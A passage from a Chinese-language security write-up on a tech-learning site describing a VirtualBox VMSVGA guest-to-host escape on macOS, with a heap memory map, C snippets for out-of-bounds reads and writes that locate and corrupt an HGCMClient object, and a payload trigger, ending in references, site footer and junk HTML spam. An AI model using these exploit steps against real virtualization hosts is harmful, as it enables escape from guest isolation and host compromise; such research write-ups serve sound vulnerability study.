              MALLOC_SMALL 00007ff0fb800000-00007ff12b000000 [760.0M 745.9M 745.9M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_TINY 00007ff12b400000-00007ff12b500000 [ 1024K 936K 936K 4K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
              MALLOC_SMALL 00007ff12b800000-00007ff139000000 [216.0M 212.0M 212.0M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_SMALL 00007ff139000000-00007ff139800000 [ 8192K 8032K 8032K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
              MALLOC_SMALL 00007ff139800000-00007ff13b000000 [ 24.0M 23.6M 23.6M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_TINY 00007ff13b400000-00007ff13b500000 [ 1024K 1016K 1016K 8K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
              MALLOC_SMALL 00007ff13b800000-00007ff16b000000 [760.0M 745.9M 745.9M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_TINY 00007ff16b400000-00007ff16b800000 [ 4096K 2464K 2464K 1632K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
              MALLOC_SMALL 00007ff16b800000-00007ff16c06d000 [ 8628K 6592K 6592K 1828K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_SMALL (empty) 00007ff16c06d000-00007ff16c06e000 [ 4K 4K 4K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
              MALLOC_SMALL 00007ff16c06e000-00007ff16d000000 [ 15.6M 14.0M 14.0M 1440K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_SMALL 00007ff16d000000-00007ff16d800000 [ 8192K 5608K 5608K 2312K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
              MALLOC_TINY 00007ff16d800000-00007ff16da00000 [ 2048K 864K 864K 1184K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
              MALLOC_TINY 00007ff16da00000-00007ff16dc00000 [ 2048K 24K 24K 8K] rw-/rwx SM=COW QuartzCore_0x10cc46000
              MALLOC_TINY 00007ff16dc00000-00007ff16de00000 [ 2048K 20K 20K 24K] rw-/rwx SM=COW GFXMallocZone_0x107072000
              MALLOC_TINY (empty) 00007ff16de00000-00007ff16df00000 [ 1024K 8K 8K 8K] rw-/rwx SM=COW GFXMallocZone_0x107072000
              MALLOC_TINY 00007ff16df00000-00007ff16e000000 [ 1024K 940K 940K 84K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
              MALLOC_SMALL (empty) 00007ff16e000000-00007ff16e800000 [ 8192K 4K 4K 8K] rw-/rwx SM=COW QuartzCore_0x10cc46000
              MALLOC_SMALL 00007ff16e800000-00007ff16f000000 [ 8192K 8K 8K 240K] rw-/rwx SM=COW GFXMallocZone_0x107072000
              MALLOC_SMALL (empty) 00007ff16f000000-00007ff170000000 [ 16.0M 8K 8K 172K] rw-/rwx SM=COW GFXMallocZone_0x107072000
              MALLOC_TINY (empty) 00007ff170000000-00007ff170100000 [ 1024K 8K 8K 4K] rw-/rwx SM=COW QuartzCore_0x10cc46000
              MALLOC_TINY 00007ff170100000-00007ff170200000 [ 1024K 988K 988K 36K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
              MALLOC_TINY (empty) 00007ff170200000-00007ff170300000 [ 1024K 8K 8K 4K] rw-/rwx SM=COW QuartzCore_0x10cc46000
              MALLOC_TINY 00007ff170300000-00007ff170400000 [ 1024K 4K 4K 20K] rw-/rwx SM=COW GFXMallocZone_0x107072000
              MALLOC_TINY 00007ff170400000-00007ff170500000 [ 1024K 1024K 1024K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
              MALLOC_TINY 00007ff170500000-00007ff170800000 [ 3072K 3072K 3072K 0K] rw-/rwx SM=COW DefaultMallocZone_0x10
              定位并重寫HGCMClient對象
              一旦堆噴射完成,將會從SVGA3D_MAX_SURFACE_IDS – 1開始,越界讀取與表面相關的泄露內存。如果找到任何HGCMClient,就會停止搜索,否則將會繼續。
              /*泄露內存*/
              for (int i = SVGA3D_MAX_SURFACE_IDS - 1; i >= 0; i--) {
              access_memory(i, SVGA3D_READ_HOST_VRAM, memory, 0x1000);
              rv = find_hgcm_client(memory, 0x1000, &details);
              if (rv == 0) {
              surface_id = i;
              break;
              }
              }
              在找到客戶端對象后,我們通過泄露其“pSelf”指針來了解對象的位置。對象的vtable是一個指向VBoxC.dylib的指針。上述二者都不會受到ASLR機制的影響。隨后,我們使用搜索期間找到的表面ID,對其進行越界寫入,從而破壞對象。
              access_memory(surface_id, SVGA3D_WRITE_HOST_VRAM, memory, 0x1000);

              Finally, use HGCM disconnect to use the corrupted HGCMClient as below:

              warnx("[+] Triggering payload...");
              disconnect_client(details.key);
              環境
              · Guest環境:Ubuntu Server 16.04.5 64位,啟用單個vCPU和VMSVGA。
              · Host環境:macOS High Sierra 10.13.6。 請注意,macOS Mojave不支持較舊版本的VirtualBox。
              · VirtualBox:5.1.22 r115126版本
              演示視頻
              參考文獻
              [1] VMware托管I/O架構上的GPU虛擬化
              https://www.usenix.org/legacy/event/wiov08/tech/full_papers/dowty/dowty.pdf
              [2] VMware SVGA設備接口和編程模型
              https://sourceforge.net/p/vmware-svga/git/ci/master/tree/doc/svga_interface.txt
              [3] CLOUDBURST – Vmware Guest到Host逃逸的故事
              https://www.blackhat.com/presentations/bh-usa-09/KORTCHINSKY/BHUSA09-Kortchinsky-Cloudburst-PAPER.pdf
              [4] 通過硬件仿真攻擊虛擬機管理程序
              https://www.troopers.de/downloads/troopers17/TR17_Attacking_hypervisor_through_hardwear_emulation.pdf
              [5] VBoxManage
              https://www.virtualbox.org/manual/ch08.html
              [6] Oracle重要補丁更新公告 – 2015年1月
              https://www.oracle.com/technetwork/topics/security/cpujan2015-1972971.html
              [7] Oracle重要補丁更新公告 – 2017年7月
              https://www.oracle.com/technetwork/security-advisory/cpujul2017-3236622.html
              [8] Oracle重要補丁更新公告 – 2017年10月
              https://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html
              [9] Heapple Pie – macOS/iOS中的默認堆
              https://www.synacktiv.com/ressources/Sthack_2018_Heapple_Pie.pdf
              [10] OS X堆漏洞利用
              https://github.com/blankwall/MacHeap
              [11] 思考在VirtualBox之外
              https://github.com/phoenhex/files/blob/master/slides/thinking_outside_the_virtualbox.pdf
              上一篇:CVE引發的欺騙
              下一篇:那些年讓我們心驚膽戰的IIS漏洞
              相關文章
              圖文推薦

              關于我們 | 聯系我們 | 廣告服務 | 投資合作 | 版權申明 | 在線幫助 | 網站地圖 | 作品發布 | Vip技術培訓 | 舉報中心

              版權所有: 紅黑聯盟--致力于做實用的IT技術學習網站

              极速飞艇好假
              <dl id="opymh"></dl>

              <div id="opymh"></div>
                  <div id="opymh"><tr id="opymh"></tr></div>

                    <em id="opymh"><ins id="opymh"><mark id="opymh"></mark></ins></em><sup id="opymh"><menu id="opymh"></menu></sup>

                    <em id="opymh"></em>

                    <em id="opymh"><ol id="opymh"></ol></em>

                          <dl id="opymh"></dl>

                          <div id="opymh"></div>
                              <div id="opymh"><tr id="opymh"></tr></div>

                                <em id="opymh"><ins id="opymh"><mark id="opymh"></mark></ins></em><sup id="opymh"><menu id="opymh"></menu></sup>

                                <em id="opymh"></em>

                                <em id="opymh"><ol id="opymh"></ol></em>